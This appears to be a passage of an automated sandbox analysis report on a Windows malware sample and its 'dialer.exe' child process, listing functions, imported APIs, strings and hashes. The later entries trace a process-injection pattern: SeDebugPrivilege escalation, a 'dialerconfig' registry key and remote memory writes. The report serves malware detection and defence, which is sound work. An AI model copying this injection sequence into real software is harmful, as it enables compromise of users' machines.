Associated: 00000000.00000002.2070271600.00007FF7EB900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070380475.00007FF7EB90B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070422051.00007FF7EB90E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070466176.00007FF7EB90F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071523893.00007FF7EBB8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071609340.00007FF7EBBC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071651119.00007FF7EBBC5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7eb900000_nW2oopMIdg.jbxd

Similarity

API ID: wcslen
String ID: 0$X&$ 6
API String ID: 4088430540-2247980209
Opcode ID: fefaa4b7e40953cfa417f533f7704ca4e73cf3ccdfab8b8a9cf10832c6394322
Instruction ID: 5890b5e6ca471a5720de02932ebcb1c393d1e1e32d963d67e20c429ac8c92db8
Opcode Fuzzy Hash: fefaa4b7e40953cfa417f533f7704ca4e73cf3ccdfab8b8a9cf10832c6394322
Instruction Fuzzy Hash: 28523861D2C68384F711EB2DA8513F8BA60BF95388FC45233D98C566B2EF7C6245C726

Function 00007FF7EB9011D8 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_initterm.MSVCRT ref: 00007FF7EB90120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF7EB901156), ref: 00007FF7EB90124E
malloc.MSVCRT ref: 00007FF7EB90127E
strlen.MSVCRT ref: 00007FF7EB9012A4
malloc.MSVCRT ref: 00007FF7EB9012B0
memcpy.MSVCRT ref: 00007FF7EB9012C3
_cexit.MSVCRT ref: 00007FF7EB90132D

Strings

&, xrefs: 00007FF7EB901265
Hc=v+, xrefs: 00007FF7EB90126F

Memory Dump Source

Source File: 00000000.00000002.2070327807.00007FF7EB901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EB900000, based on PE: true

Associated: 00000000.00000002.2070271600.00007FF7EB900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070380475.00007FF7EB90B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070422051.00007FF7EB90E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070466176.00007FF7EB90F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071523893.00007FF7EBB8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071609340.00007FF7EBBC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071651119.00007FF7EBBC5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7eb900000_nW2oopMIdg.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled_cexit_inittermmemcpystrlen
String ID: Hc=v+$&
API String ID: 3825114775-1582277970
Opcode ID: 2ec421b47950669208d24b2c07c5bdd3e08f0d0719c06cd5544466d22b6309cc
Instruction ID: b522a7f3e8f9e11f7fe25b418d69f583ddba5cfdf29fe9e1ab43c5b2b9e37d95
Opcode Fuzzy Hash: 2ec421b47950669208d24b2c07c5bdd3e08f0d0719c06cd5544466d22b6309cc
Instruction Fuzzy Hash: 32412631A19A12C5F600BB1DE990379BBA5BF45788FD44033EA8D837B6DF3CA4418322

Function 00007FF7EB902690 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00007FF7EB902795
wcscpy.MSVCRT ref: 00007FF7EB9028CE
wcscat.MSVCRT ref: 00007FF7EB9028D9
wcslen.MSVCRT ref: 00007FF7EB9028E1
wcslen.MSVCRT ref: 00007FF7EB9028F6
wcslen.MSVCRT ref: 00007FF7EB90296D
wcslen.MSVCRT ref: 00007FF7EB9029E8

Strings

0, xrefs: 00007FF7EB90279A
`, xrefs: 00007FF7EB902B91
X, xrefs: 00007FF7EB902B79

Memory Dump Source

Source File: 00000000.00000002.2070327807.00007FF7EB901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EB900000, based on PE: true

Associated: 00000000.00000002.2070271600.00007FF7EB900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070380475.00007FF7EB90B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070422051.00007FF7EB90E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070466176.00007FF7EB90F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071523893.00007FF7EBB8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071609340.00007FF7EBBC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071651119.00007FF7EBBC5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7eb900000_nW2oopMIdg.jbxd

Similarity

API ID: wcslen$wcscatwcscpywcsncmp
String ID: 0$X$`
API String ID: 597572034-2527496196
Opcode ID: 98185c13f6d2e375cf892135551cf39061725b7e67d8172754d23c2b4611d0ec
Instruction ID: 4e06bdd7689279e5e4ab96d50153c8d1cff1ca51a20ba54ff467a5bffad193cc
Opcode Fuzzy Hash: 98185c13f6d2e375cf892135551cf39061725b7e67d8172754d23c2b4611d0ec
Instruction Fuzzy Hash: 7B02A132908B8681E761DB19E8403AAFBA0FB85798F804236EA9C477F5DF7CD145C751

Function 00007FF7EB903352 Relevance: 16.7, APIs: 6, Strings: 5, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.MSVCRT ref: 00007FF7EB90349D
wcscat.MSVCRT ref: 00007FF7EB9034A8
wcslen.MSVCRT ref: 00007FF7EB9034B9
wcscpy.MSVCRT ref: 00007FF7EB903635
wcscat.MSVCRT ref: 00007FF7EB903640
wcslen.MSVCRT ref: 00007FF7EB903654

Strings

@, xrefs: 00007FF7EB9034F1
@, xrefs: 00007FF7EB903698
0, xrefs: 00007FF7EB9034E6
, xrefs: 00007FF7EB9036DD
0, xrefs: 00007FF7EB90368D

Memory Dump Source

Source File: 00000000.00000002.2070327807.00007FF7EB901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EB900000, based on PE: true

Associated: 00000000.00000002.2070271600.00007FF7EB900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070380475.00007FF7EB90B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070422051.00007FF7EB90E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070466176.00007FF7EB90F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071523893.00007FF7EBB8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071609340.00007FF7EBBC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071651119.00007FF7EBBC5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7eb900000_nW2oopMIdg.jbxd

Similarity

API ID: wcscatwcscpywcslen
String ID: $0$0$@$@
API String ID: 3623275624-1413854666
Opcode ID: b0127d468d46c267b9460b4f0b1c573224c770eb45ce2e4a03525f6280a39a82
Instruction ID: 242870823fd49b2a4c6a896fd4354a8cee0761ebd6e5bf685bff24b2c69aa0fa
Opcode Fuzzy Hash: b0127d468d46c267b9460b4f0b1c573224c770eb45ce2e4a03525f6280a39a82
Instruction Fuzzy Hash: 27B18E2190C6C685F361EB19E4553AAFBA0FF84348F804136EACC566B5DF7CD189CB62

Function 00007FF7EB901BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,00007FF7EB90C8F4,00007FF7EB90C8F4,?,?,00007FF7EB900000,?,00007FF7EB901991), ref: 00007FF7EB901C63
VirtualProtect.KERNEL32(?,?,?,?,00007FF7EB90C8F4,00007FF7EB90C8F4,?,?,00007FF7EB900000,?,00007FF7EB901991), ref: 00007FF7EB901CC7
memcpy.MSVCRT ref: 00007FF7EB901CE0
GetLastError.KERNEL32(?,?,?,?,00007FF7EB90C8F4,00007FF7EB90C8F4,?,?,00007FF7EB900000,?,00007FF7EB901991), ref: 00007FF7EB901D23

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF7EB901D17
Address %p has no image-section, xrefs: 00007FF7EB901CF4
VirtualProtect failed with code 0x%x, xrefs: 00007FF7EB901D29

Memory Dump Source

Source File: 00000000.00000002.2070327807.00007FF7EB901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EB900000, based on PE: true

Associated: 00000000.00000002.2070271600.00007FF7EB900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070380475.00007FF7EB90B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070422051.00007FF7EB90E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070466176.00007FF7EB90F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071523893.00007FF7EBB8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071609340.00007FF7EBBC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071651119.00007FF7EBBC5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7eb900000_nW2oopMIdg.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: ddbdcf1874e9ea71757a48b7d804bab9f2fa45dded7038c380b0ba63e0422925
Instruction ID: c87d15013ca51edf5a812688867b0ea87cf27c9a02d4e34bd5ba9708c60adeac
Opcode Fuzzy Hash: ddbdcf1874e9ea71757a48b7d804bab9f2fa45dded7038c380b0ba63e0422925
Instruction Fuzzy Hash: 8C418E71A09662C1EA51AB4ED8847B9ABA0FF45B88F944033EE0D433B1DE3CE545C322

Function 00007FF7EB902104 Relevance: 7.6, APIs: 5, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7EB902118
TlsGetValue.KERNEL32 ref: 00007FF7EB90214F
GetLastError.KERNEL32 ref: 00007FF7EB902154
LeaveCriticalSection.KERNEL32 ref: 00007FF7EB902212
DeleteCriticalSection.KERNEL32 ref: 00007FF7EB90225D

Memory Dump Source

Source File: 00000000.00000002.2070327807.00007FF7EB901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EB900000, based on PE: true

Associated: 00000000.00000002.2070271600.00007FF7EB900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070380475.00007FF7EB90B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070422051.00007FF7EB90E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070466176.00007FF7EB90F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071523893.00007FF7EBB8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071609340.00007FF7EBBC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071651119.00007FF7EBBC5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7eb900000_nW2oopMIdg.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValue
String ID:
API String ID: 926137887-0
Opcode ID: 613fdf5728c7ed6876bd790cebaa614c9071348df8fdca610d58b176e96f82e5
Instruction ID: c1447e9aaf68bb28e1a195582ba4ea0cb2843a6d97672dfb166ed6bcd891fc1d
Opcode Fuzzy Hash: 613fdf5728c7ed6876bd790cebaa614c9071348df8fdca610d58b176e96f82e5
Instruction Fuzzy Hash: 2421EA21E0A512C2FA59BB5DE980378FA60BF16B98FD44433C94D476B4DF3CA885C326

Function 00007FF7EB901E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 00007FF7EB901E27

Memory Dump Source

Source File: 00000000.00000002.2070327807.00007FF7EB901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EB900000, based on PE: true

Associated: 00000000.00000002.2070271600.00007FF7EB900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070380475.00007FF7EB90B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070422051.00007FF7EB90E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070466176.00007FF7EB90F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071523893.00007FF7EBB8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071609340.00007FF7EBBC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071651119.00007FF7EBBC5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7eb900000_nW2oopMIdg.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: 8ffd1e83da114adb7a12425d872c4067a8ab9974e88a3fba3c75f53be1714557
Instruction ID: b543e32c33d51a9af574343aa18ce874f3ac94c4056997ff6c03990d5105e950
Opcode Fuzzy Hash: 8ffd1e83da114adb7a12425d872c4067a8ab9974e88a3fba3c75f53be1714557
Instruction Fuzzy Hash: A7216021E09126C1FA65625D95903799981EF8576CFB88137FB0D432F5DE3CAC818263

Function 00007FF7EB9038E0 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF7EB9038F8
wcslen.MSVCRT ref: 00007FF7EB90396E

Strings

0, xrefs: 00007FF7EB903922
@, xrefs: 00007FF7EB90392A

Memory Dump Source

Source File: 00000000.00000002.2070327807.00007FF7EB901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EB900000, based on PE: true

Associated: 00000000.00000002.2070271600.00007FF7EB900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070380475.00007FF7EB90B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070422051.00007FF7EB90E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070466176.00007FF7EB90F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071523893.00007FF7EBB8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071609340.00007FF7EBBC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071651119.00007FF7EBBC5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7eb900000_nW2oopMIdg.jbxd

Similarity

API ID: wcslen
String ID: 0$@
API String ID: 4088430540-1545510068
Opcode ID: 8bc87b3cca2c78adc28c7b1354bc797d6113aeb12ee74f16880f0486ba838264
Instruction ID: 2eeda87b5435b452d2c454f961b0a158f423ce881c7d93c56a2afe55c06c7ddc
Opcode Fuzzy Hash: 8bc87b3cca2c78adc28c7b1354bc797d6113aeb12ee74f16880f0486ba838264
Instruction Fuzzy Hash: 8E115C22528681C2E3509B18F44579AF774EFD8398F905125F68D83BA9EF7DC18ACB11

Function 00007FF7EB901880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7EB901247), ref: 00007FF7EB9019F9

Strings

Unknown pseudo relocation bit size %d., xrefs: 00007FF7EB901B7B
Unknown pseudo relocation protocol version %d., xrefs: 00007FF7EB901B8B

Memory Dump Source

Source File: 00000000.00000002.2070327807.00007FF7EB901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EB900000, based on PE: true

Associated: 00000000.00000002.2070271600.00007FF7EB900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070380475.00007FF7EB90B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070422051.00007FF7EB90E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070466176.00007FF7EB90F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071523893.00007FF7EBB8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071609340.00007FF7EBBC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071651119.00007FF7EBBC5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7eb900000_nW2oopMIdg.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: f047dfd43f2b20f4878765ae852215213f87511333d9653e63cf908346f9a17d
Instruction ID: a945961bdc89a6fc43d9a2692c3927981705fff8f28c33ae0f06923db37f23ca
Opcode Fuzzy Hash: f047dfd43f2b20f4878765ae852215213f87511333d9653e63cf908346f9a17d
Instruction Fuzzy Hash: 85516021E09556D6EB10AB29E850778BB61BF15B98F944133E91C077B9CF3CE486C722

Function 00007FF7EB901800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 00007FF7EB90185A

Strings

Unknown error, xrefs: 00007FF7EB901824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7EB90184D

Memory Dump Source

Source File: 00000000.00000002.2070327807.00007FF7EB901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EB900000, based on PE: true

Associated: 00000000.00000002.2070271600.00007FF7EB900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070380475.00007FF7EB90B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070422051.00007FF7EB90E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070466176.00007FF7EB90F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071523893.00007FF7EBB8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071609340.00007FF7EBBC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071651119.00007FF7EBBC5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7eb900000_nW2oopMIdg.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 1c04987d95cc1312a9d89c4e69c05c1118544e67408b6cf4f97d1d5589193830
Instruction ID: 0c4f0230a265301d99cae29a8f909d27409f185c5fbeb1d53671ee664bf078d6
Opcode Fuzzy Hash: 1c04987d95cc1312a9d89c4e69c05c1118544e67408b6cf4f97d1d5589193830
Instruction Fuzzy Hash: ABF0C211E1CA45C2E250BB6CA9512B9E761EB493C8F90D232EE4D63261DF3CE182C311

Function 00007FF7EB90219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7EB9021B2
TlsGetValue.KERNEL32 ref: 00007FF7EB9021EB
GetLastError.KERNEL32 ref: 00007FF7EB9021F0
LeaveCriticalSection.KERNEL32 ref: 00007FF7EB90226C

Memory Dump Source

Source File: 00000000.00000002.2070327807.00007FF7EB901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EB900000, based on PE: true

Associated: 00000000.00000002.2070271600.00007FF7EB900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070380475.00007FF7EB90B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070422051.00007FF7EB90E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070466176.00007FF7EB90F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071523893.00007FF7EBB8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071609340.00007FF7EBBC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071651119.00007FF7EBBC5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7eb900000_nW2oopMIdg.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 5eff3f75befce3e92e47b05016d9c5d0d24caf54b52fc201209ce42e40f93eef
Instruction ID: df6e8438e25c1fea733c9b42806139d0697a85981e0fdd237cd15481e46b3518
Opcode Fuzzy Hash: 5eff3f75befce3e92e47b05016d9c5d0d24caf54b52fc201209ce42e40f93eef
Instruction Fuzzy Hash: 3601EC25A0E512C2FA59AB5DED44378FA60BF09B94FC44433CA0D576B4DF3CA995C322

Analysis Process: dialer.exePID: 1276, Parent PID: 1984COMMON

Execution Graph

Execution Coverage:	45.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	40.1%
Total number of Nodes:	227
Total number of Limit Nodes:	25

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000000014000226C Relevance: 61.4, APIs: 27, Strings: 8, Instructions: 165
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001F2C: StrCpyW.SHLWAPI ref: 0000000140001F5D
Part of subcall function 0000000140001F2C: StrCatW.SHLWAPI ref: 0000000140001F6B
Part of subcall function 0000000140001F2C: GetModuleHandleW.KERNEL32 ref: 0000000140001F74
Part of subcall function 0000000140001F2C: GetCurrentProcess.KERNEL32 ref: 0000000140001F94
Part of subcall function 0000000140001F2C: K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
Part of subcall function 0000000140001F2C: CreateFileW.KERNELBASE ref: 0000000140001FD8
Part of subcall function 0000000140001F2C: CreateFileMappingW.KERNELBASE ref: 0000000140002002
Part of subcall function 0000000140001F2C: MapViewOfFile.KERNELBASE ref: 0000000140002025
Part of subcall function 0000000140001F2C: lstrcmpiA.KERNEL32 ref: 000000014000207B
Part of subcall function 0000000140001F2C: CloseHandle.KERNELBASE ref: 00000001400020E7
Part of subcall function 0000000140001F2C: CloseHandle.KERNEL32 ref: 00000001400020F0
Part of subcall function 0000000140001F2C: FreeLibrary.KERNEL32 ref: 00000001400020F9

Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020AE
Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020DE

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
GetLastError.KERNEL32 ref: 0000000140002312
CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
LocalFree.KERNEL32 ref: 0000000140002408
RegCreateKeyExW.KERNELBASE ref: 000000014000243E
GetCurrentProcessId.KERNEL32 ref: 0000000140002448
RegSetValueExW.KERNELBASE ref: 000000014000246F
RegCloseKey.KERNELBASE ref: 0000000140002479
RegCloseKey.ADVAPI32 ref: 0000000140002483
CreateThread.KERNELBASE ref: 00000001400024A4
GetProcessHeap.KERNEL32 ref: 00000001400024AA
HeapAlloc.KERNEL32 ref: 00000001400024B9
CreateThread.KERNELBASE ref: 00000001400024E8
CreateThread.KERNELBASE ref: 0000000140002509
SleepEx.KERNELBASE ref: 0000000140002511

Strings

SOFTWARE\dialerconfig, xrefs: 0000000140002399
svc64, xrefs: 0000000140002452
SeDebugPrivilege, xrefs: 00000001400022C9
kernel32.dll, xrefs: 0000000140002283
D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00000001400023DE
ntdll.dll, xrefs: 0000000140002277
pid, xrefs: 000000014000241B
DLL, xrefs: 0000000140002321

Memory Dump Source

Source File: 00000019.00000002.2125416345.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000019.00000002.2125325177.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125474691.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125510606.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_140000000_dialer.jbxd

Similarity

API ID: CreateProcess$Close$CurrentHandleResource$FileSecurityThread$DescriptorFreeHeapModuleOpenProtectTokenValueVirtual$AdjustAllocConvertErrorFindInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringViewlstrcmpi
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 4177739653-1130149537
Opcode ID: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction ID: c2e61514e361dd61edc66d1a85693de1d2c237bf329a5b31df93bef4cff25afe
Opcode Fuzzy Hash: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction Fuzzy Hash: B781E4B6200B4196EB26CF62F8547D977A9F78CBD8F44512AEB4A43A78DF38C148C740

Function 00000001400010C0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 257
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

OpenProcess.KERNEL32 ref: 000000014000112C
OpenProcess.KERNEL32 ref: 000000014000114B
K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
PathFindFileNameW.SHLWAPI ref: 000000014000117E
lstrlenW.KERNEL32 ref: 000000014000118A
StrCpyW.SHLWAPI ref: 00000001400011A1
CloseHandle.KERNEL32 ref: 00000001400011AD
StrCmpIW.SHLWAPI ref: 00000001400011E2
NtQueryInformationProcess.NTDLL ref: 0000000140001216
OpenProcessToken.ADVAPI32 ref: 0000000140001240
GetTokenInformation.KERNELBASE ref: 000000014000126C
GetLastError.KERNEL32 ref: 0000000140001276
LocalAlloc.KERNEL32 ref: 0000000140001289
GetTokenInformation.KERNELBASE ref: 00000001400012B5
GetSidSubAuthorityCount.ADVAPI32 ref: 00000001400012C2
GetSidSubAuthority.ADVAPI32 ref: 00000001400012D1
LocalFree.KERNEL32 ref: 00000001400012E9
CloseHandle.KERNEL32 ref: 00000001400012FD
StrStrA.SHLWAPI ref: 00000001400013A7
VirtualAllocEx.KERNELBASE ref: 000000014000140E
WriteProcessMemory.KERNELBASE ref: 0000000140001431
WaitForSingleObject.KERNEL32 ref: 000000014000147D
GetExitCodeThread.KERNEL32 ref: 0000000140001493
CloseHandle.KERNELBASE ref: 00000001400014AB
